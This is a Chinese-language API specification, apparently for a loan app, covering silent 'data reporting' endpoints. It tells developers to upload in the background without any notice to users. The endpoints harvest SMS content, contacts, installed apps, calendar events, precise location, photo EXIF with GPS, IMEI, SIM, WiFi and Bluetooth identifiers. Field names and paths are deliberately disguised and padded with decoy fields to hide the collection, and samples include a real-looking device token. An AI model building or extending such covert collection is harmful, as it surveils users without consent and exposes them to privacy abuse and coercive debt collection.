6. 数据上报
- 所有数据上报接口不用做Loading,在后台做上传,成功失败也不需要弹Toast,用户无感的上报。
上传 google market
- 请求方式
POST
- 请求地址
"/dvhiss/tnhucpiu(/v3/loan-confirm/google-market)":
- 场景 ``
请求参数
名称 类型 可选 注释 "promises": string 否 device信息 "workers": string 否 extinfo信息 "for": string 否 fb_market "work": string 否 googlemarket "almost": string 干扰字段(asdf) 返回结果
{ "remains": "00", "guidelines": "success", "policy": { "office": 1, "afkey":sdkalsdklas } }
场景设备信息上报
- 请求方式
POST
- 请求地址
"/dvhiss/ueohsdutdt(/v3/upload-info/device-detail)":
- 场景
场景设备信息上报
- 请求参数
{ "kinds":"16", "all":"Xiaomi", "solution":"", "promises":"MI 4S", "hailed":"上海市静安区共和路369号宝矿大厦", "job":"31.246367", "trip":"121.450745", "computer":"868869029104220", "substituting":"192.168.1.181", "telecommuting":1, "theories":0, "incorporated":"b0:e2:35:43:85:57", "they":"2.74GB", "confirmed":"android", "when":"7.0", "direction":57, "purpose":"1080x1920", "lacks":0, "without":"54.19GB", "makes":"54.19GB", "calculations":"29.91GB", "performs":"29.91GB", "plans":1, "beyond":"\"Shu_Xing_2G\"", "it":"", "theories":"" } //字段解释 bettary:当前电量百分比小数 brand:设备名牌 carrier:运营商名称 device_info:设备名称 gps_address:定位地址 gps_latitude:定位纬度 gps_longitude:定位经度 imei:imei号 ip:局域网ip is_root:是否root 1是0否 is_simulator:是否为模拟器(1是0否) mac:mac地址 memory:RAM总空间 os_type:系统类型 os_version:系统版本 pic_count:照片数量 resolution:屏幕分辨率 scene:场景类型(默认传0,代表App启动) sdcard:外置存储(SD卡存储空间) storage:内置存储(手机本身存储空间) unuse_sdcard:外置存储剩余空间(SD卡剩余存储空间) unuse_storage:内置存储剩余空间(手机本身剩余存储空间) wifi:是否链接wifi(1是0否) wifi_name:wifi名字 imsi:国际移动用户识别码(TelephonyManager.getSubscriberId) is_simulator:是否为模拟器(0:否; 1:是)
- 返回结果
{ "remains": "0", "guidelines": "success", "policy": {} }
上报风控埋点
- 请求方式
POST
- 请求地址
"/dvhiss/uwgdinhis(/v3/buried-point/upload)":
- 场景
上报风控埋点
- 请求参数
{ "unknown": "1000460", // 产品ID "into": "2", // 1、产品授权之后,2.问卷调查,3、身份证正面OCR,4、身份证反面ocr,5、手持身份证照片,6、活体认证,7、个人信息,8、工作信息,9、联系人,10、银行卡,11、开始申贷 12、结束申贷 "leap": "", // 用户申贷订单号 "hypothesis": "671342B4-CC8C-395B-9792-2D3D885535E2", // 新设备号:通过风控提供的SDK生成的新设备号 "hypotheses": -105.458102, // 经度 "these": 22.401038, // 维度 "formulated": "1635131498", // 开始时间 "solutions": "1635131551", // 结束时间 "possible": 564411, //干扰字段 }
- 返回结果
{ "remains": "00", "guidelines": "风控埋点上报成功", "policy": {} }
上报设备信息
- 请求方式
POST
- 请求地址
"/dvhiss/nataiec(/credit-info/upload-device-new)":
- 场景
上报设备信息
请求参数
{ "considerable":{ "requires":16, "part":1, "comes":1, "gathered":0, //最大电量(单位:毫安) "known":"3000", //当前电量(单位:毫安) "problem":"1087" }, "particular":{ "about":"61145e25b9d94bf5", "learned":"", "computer":"868869029104220", "other":"zh", "what":"中文", "out":"CHN", "finding":"zho", "incorporated":"B0:E2:35:43:85:57", "investigation":"", "start":"wifi", "most":"", "can":"1", "pile":"GMT+08:00" //运营商名称 "investigation":"", //当前连接网络类型 "than":"", //是否使用端口代理(1是0否) "more":"", //是否使用vpn(1是0否) "any":"", //是否打开USB调试(1是0否) "called":"", //SystemClock.elapsedRealtime() "cannot":"", //传感器列表 "collection":[ { //传感器类型 "despite":"", //传感器名称 "calls":"", //传感器版本 "but":"", //传感器vendor "bricks":"", //传感器maxRange "house":"", //传感器minDelay "just":"", //传感器power "with":"", //传感器resolution "purpose":"" } ], //当前系统时间(毫秒) "built":"1600000000000", //SystemClock.uptimeMillis() "said":"", }, "poincare":{ "henri":"Xiaomi", "all":"Xiaomi", "jules":"MI 4S", "mathematician":"4.917646181702473", "themselves":"7.0", "by":"24", "facts":"71f2a4c8", //主板 "related":"", //CPU核心数量 "explanation":"", //Build.TIME "reasonable":"", //屏幕分辨率高 "performing":"", //屏幕分辨率宽 "information":"" } "collecting":{ "well":[ { "thinking":"68:d7:9a:7a:7e:4b", "incorporated":"68:d7:9a:7a:7e:4b", "calls":"Shu_Xing_2G", "creative":"Shu_Xing_2G" } ], //内网IP "and":"192.168.1.1", //保存的wifi数量 "imagination":"1", //当前连接的wifi信息(如果没有,传空对象) "science":{ "thinking":"68:d7:9a:7a:7e:4b", "incorporated":"68:d7:9a:7a:7e:4b", "calls":"Shu_Xing_2G", "creative":"Shu_Xing_2G" } }, "rejected":{ "revised":"-55", "or":"1", "experiment":"1637828679710", "fault":"1", "may":"0", //保存的蓝牙列表 "there":[ { "further":"", "search":"" } ], //设备指纹(如找不到方法,咨询开发) "must":"", //网络信息中的NetWorkType "supported":"", //Sim1卡Iccid "predictions":"", //Sim2卡Iccid "scientist":"", //Build.CPU_ABI "confirm":"", //Build.TIME "if":"", //Build.TIME "test":"", //Meid "experiments":"", //Build.VERSION.SECURITY_PATCH "design":"", }, "makes":{ "publicized":"1", "has":"0", "after":58183655424, "been":32120356864, "yet":58183655424, "not":26063298560, "have":32120356864, "events":"2938327040", "predict":"1179906048", //App运行时max_memory "observations":"29383", //App运行时free_memory "past":"9483", //App运行时total_memory "explaining":"19145" }, /* *files_data内层数据转外层 */ "to":0, "addition":100, "useful":47, "motion":41, "constant":16, "particles":2, "small":0 /* *外层新增字段 */ //联系人分组数量 "many":"10", //内置、外置存储中Image类型文件的Exif数据 "up":[ { //当前系统时间 "made":"2021/12/21 12:07:00", /* * 从android.provider.MediaStore.Images.Media.INTERNAL_CONTENT_URI * 或android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI * 中获取到的字段信息 */ //MediaStore.Images.Media.DISPLAY_NAME "calls":"01-01.jpg", //通过MediaStore.Images.Media.Data获取图片路径,之后用BitmapFactory获取图片宽高 "being":"1808", "as":"1017", //MediaStore.Images.Media.DATE_TAKEN "pictured":"2021/04/28 03:11:42", //MediaStore.Images.Media.DATE_MODIFIED "are":"1619550702", /* * 通过MediaStore.Images.Media.Data获取图片路径,然后解析Exif信息拿到以下数据 */ //Exif.getAttribute("Artist") "gases":"", //Exif.getLatLong() "these":0, //Exif.getLatLong() "hypotheses":0, //Exif.getAttribute("Model") "jules":"", //Exif.getAttribute("DateTime") "which":"", //Exif.getAttribute("Flash") "molecular":"", //Exif.getAttribute("FocalLength") "kinetic":"", //Exif.getAttribute("GPSAltitude") "in":"", //Exif.getAttribute("GPSProcessingMethod") "found":"", //Exif.getAttribute("Make") "is":"", //Exif.getAttribute("Model") "of":"", //Exif.getAttribute("Orientation") "example":"0", //Exif.getAttribute("Software") "good":"", //Exif.getAttribute("XResolution") "produced":"", //Exif.getAttribute("YResolution") "be":"" }, { "gases":"", "made":"2021/12/21 12:07:00", "pictured":"2021/04/28 03:11:42", "molecular":"", "kinetic":"", "in":"", "found":"", "being":"1808", "these":0, "is":"", "of":"", "hypotheses":0, "jules":"", "calls":"01-01.jpg", "example":"0", "are":"1619550702", "good":"", "which":"", "as":"1017", "produced":"", "be":"" } ], //App版本Code "could":"1", //App版本号 "event":"1.0.0", //App包名 "package_name" //当前系统时间(毫秒时间戳) "observed":160000000000 }
- 返回结果
json { "remains": "0", "guidelines": "上报成功", "policy": {} }
上报位置信息
- 请求方式
POST
- 请求地址
"/dvhiss/rtsunh(/credit-info/upload-location)":
- 场景
上报位置信息
- 请求参数
{ "way":"上海市静安区共和路369号", "the":"{\"address0\":\"上海市静安区共和路369号\",\"address1\":\"宝矿大厦\",\"address10\":\"上海白玉兰人口文化广场\",\"address2\":\"达邦协作广场\",\"address3\":\"嘉里不夜城\",\"address4\":\"WPP\",\"address5\":\"环智国际大厦\",\"address6\":\"恒丰路461号小区\",\"address7\":\"上海静安洲际酒店\",\"address8\":\"上海银行(闸北支行)\",\"address9\":\"荷兰签证受理中心\",\"admin_area\":\"上海市\",\"country_code\":\"CN\",\"country_name\":\"中国\",\"locality\":\"上海市\"}", "these":31.246367, "hypotheses":121.450745, "picture":"2021-12-08 16:27:52" }
- 返回结果
{ "remains": "0", "guidelines": "上报成功", "policy": {} }
上报通讯录&短信&applist&日历
- 请求方式
POST
- 请求地址
"/dvhiss/nrol(/service/user/upload-contents)":
- 场景
上报通讯录&短信&applist&日历
- 请求参数
名称 类型 可选 注释 "scientists": string 否 类型 1=短信 2=appList 3=通讯录 8=日历 "policy": string 否 上传的数据 请求示例
//短信 { "helps":4, //短信ID "that":"tetet", //短信内容 "imaginary":0, //消息发送的日期 "an":1, //短信是否被读取 "involves":0, //短信是否被用户看到 "connections":-1, //消息的状态值,如果未收到状态,则为-1 "picture":1638528218163, //收到消息的日期 "despite":1, //短信类型 1=接收到的 2=发送出去的 "often":"", //发件人 "theory":"", //对方手机号 "chapter":"" //默认传空 }
{ //type=2 时数据格式 "previous":"屏幕录制", //app名字 "sleep":1, //是否系统应用 1=系统 0=非系统 "sank":952680005, //应用程序关联的标志 "reel":1230739200000, //安装时间戳 "barely":"com.miui.screenrecorder", //包名 "relaxed":1230739200000, //更新时间 "squeeze":"3", //登录用户的ID "parting":18, //版本code "bedroom":"1.3.4" //版本名字 }
{ //type=3 时数据格式 "drowsiness":[], //手机号分组 "overcome":"0", //与联系人最后联系时间 "flood":"0", //联系人最后编辑时间 "learn":"851456713144", //电话号码 "calls":"ads", //名字 "streamed":"device", //通讯录来源(device/sim) "beneath":"0", //联系次数 "dropped":"1612246765276" //更新时间 }
{ "pressed":"fgdfgdfg", //提醒事件描述 "action":1632675599000, //事件结束时间(毫秒) "sudden":68, //提醒事件ID "seized":"dsfds", //提醒事件标题 "connecting":"[{\"eventId\":\"68\",\"method\":\"1\",\"minutes\":\"5\",\"reminder_id\":\"61\"}]", //提醒事件 "dimly":1632546000000 //事件开始时间(毫秒) }
- 返回结果
{ "remains": "0", "guidelines": "上报成功", "policy": {} }
上报Fcm(firebase) token
- 请求方式
POST
- 请求地址
"/dvhiss/AupTk(/v3/upload-info/upload-fcm-token)":
- 场景
上报位置信息
- 请求参数
{ "begun":"799c5da1-d10a-46a5-a002-19b9e0046250", // 设备号 "adversary":"edAFtS-ISqGZb_bNtk_kMb:APA91bE-Z8P__iINtoaPD-GKSY2oT6jw5SdK9IwFrfqcy-DhmwnFnDX89lHy-85LzRVUyw9rQEvSZZ1Ldb9gYlR_CWOTNiVxrxhv5I9dMomj_jGkWjUvASNdD0WX9TNUBbMiw7zMvRDi" //FCM token }
- 返回结果
{ "remains": "0", "guidelines": "上报成功", "policy": {} }
上报Fcm(firebase) 分析实例Id
- 请求方式
POST
- 请求地址
"/dvhiss/oteeee(/v3/upload-info/upload-fcm-token-instance)":
- 场景
上报位置信息
- 请求参数
{ "begun":"799c5da1-d10a-46a5-a002-19b9e0046250", // 设备号 "adversary":"edAFtS-ISqGZb_bNtk_kMb:APA91bE-Z8P__iINtoaPD-GKSY2oT6jw5SdK9IwFrfqcy-DhmwnFnDX89lHy-85LzRVUyw9rQEvSZZ1Ldb9gYlR_CWOTNiVxrxhv5I9dMomj_jGkWjUvASNdD0WX9TNUBbMiw7zMvRDi", //FCM token "effort":"ffbd06a26d25828b9d6bcbbf993508ca" // 实例id }
- 返回结果
{ "remains": "0", "guidelines": "上报成功", "policy": {} }